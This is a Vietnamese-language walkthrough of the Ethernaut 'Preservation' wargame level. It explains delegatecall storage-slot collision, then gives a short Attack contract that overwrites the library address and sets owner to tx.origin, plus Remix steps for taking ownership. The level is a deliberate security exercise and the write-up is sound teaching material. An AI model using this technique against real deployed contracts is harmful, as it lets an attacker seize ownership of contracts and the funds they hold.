Update 2022 Feb: Bài viết đã được update để phù hợp với ethernaut & solidity version mới.
16. Preservation
Nhiệm vụ: chiếm quyền owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Solution
Có 2 điều ta cần nắm được về delegatecall
:
Điều thứ nhất: delegatecall
chỉ là mượn hàm từ một contract khác và gọi hàm đó trong contract của mình.
Để diễn giải điều này, ta xét một ví dụ có thể coi là kinh điển về delegatecall
, search google phát thấy ngay
contract D {
uint public n;
address public sender;
function delegatecallSetN(address _e, uint _n) {
_e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
}
}
contract E {
uint public n;
address public sender;
function setN(uint _n) {
n = _n;
sender = msg.sender;
}
}
Trong contract E ta có một hàm là hàm setN
sẽ thay đổi giá trị của n
và sender
. Trong contract D ta gọi hàm _e.delegatecall(bytes4(sha3("setN(uint256)")), _n);
, điều này tương đương với việc ta chuyển hàm setN vào bên trong contract D như sau:
contract D {
uint public n;
address public sender;
function delegatecallSetN(uint _n) {
setN(_n);
}
function setN(uint _n) {
n = _n;
sender = msg.sender;
}
}
Điều thứ hai: khi gọi delegatecall
, các biến của hàm trong contract E sẽ là biến với slot tương ứng của contract D, không cần quan tâm đến tên biến và kiểu dữ liệu.
Ví dụ như bên trên, giả sử ta đổi tên biến và kiểu dữ liệu trong contract D như sau:
contract D {
address public addr;
bytes20 public mess;
function delegatecallSetN(address _e, uint _n) {
_e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
}
}
contract E {
uint public n;
address public sender;
function setN(uint _n) {
n = _n;
sender = msg.sender;
}
}
khi này trong D, nếu ta gọi _e.delegatecall(bytes4(sha3("setN(uint256)")), _n);
thì addr
sẽ được gán cho giá trị của _n
, tất nhiên có ép kiểu từ uint
sang address
, còn mess
sẽ được gán cho giá trị của msg.sender
, ép kiểu từ address
qua bytes20
.
Các bạn hãy tự test thử trên RemixIDE để hiểu rõ hơn.
Ok vậy là ta đã hiểu về delegatecall
, trong bài này ta sẽ áp dụng thế nào ?
Cùng nhìn qua contract LibraryContract
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Contract này có một slot duy nhất chứa storedTime
, do đó nó sẽ tương ứng với slot của timeZone1Library
trong contract Preservation
nếu ta gọi setTime
bằng delegatecall
. Điều này có ý nghĩa thế nào?
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
nó có nghĩa là nếu ta gọi setFirstTime
thì timeZone1Library
sẽ được gán bởi _timeStamp
một lần duy nhất, vì sau đó địa chỉ timeZone1Library
sẽ trở thành địa chỉ _timeStamp
rồi.
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
nó có nghĩa là nếu ta gọi setSecondTime
thì timeZone1Library
sẽ được gán lại bởi giá trị _timeStamp
bất cứ khi nào gọi hàm
Từ ý nghĩa này, ta có kịch bản tấn công như sau:
- Thay
timeZone1Library
bằng địa chỉ contract tấn công. - Do trong contract
Preservation
, biếnowner
ứng với slot thứ 3, nên trong contract tấn công ta sẽ có 3 biến, theo đó nếu gọi bằngdelegatecall
, slot thứ 3 sẽ tương tứng vớiowner
trongPreservation
. - Trong contract tấn công cũng phải có hàm
setTime
y nhưtimeZone1Library
vàtimeZone2Library
, trong hàm này ta sẽ tiến hành đổi owner sang chính mình (tx.origin
) - Contract tấn công sẽ như sau
contract Attack {
address public slot1;
address public slot2;
address public owner;
function setTime(uint _time) public {
owner = tx.origin;
}
}
Note: Trong các giao dịch, nhớ cho gasLimit
cao một chút để tránh bị hết gas
- Trên Remix IDE, load contract
Preservation
- Trên Remix IDE, deploy contract
Attack
- Tại
Preservation
, gọi hàmsetFirstTime
với giá trị là địa chỉ của contractAttack
, đã được convert ra uint256
- Tại
Preservation
, gọi hàmsetFirstTime
lần thứ 2 với giá trị bất kì
- Kiếm tra lại xem owner đã là mình chưa ?
- Submit & all done!
Bình luận
delegatecall
và storage
chưa bao giờ là dễ cả!
Enjoy coding!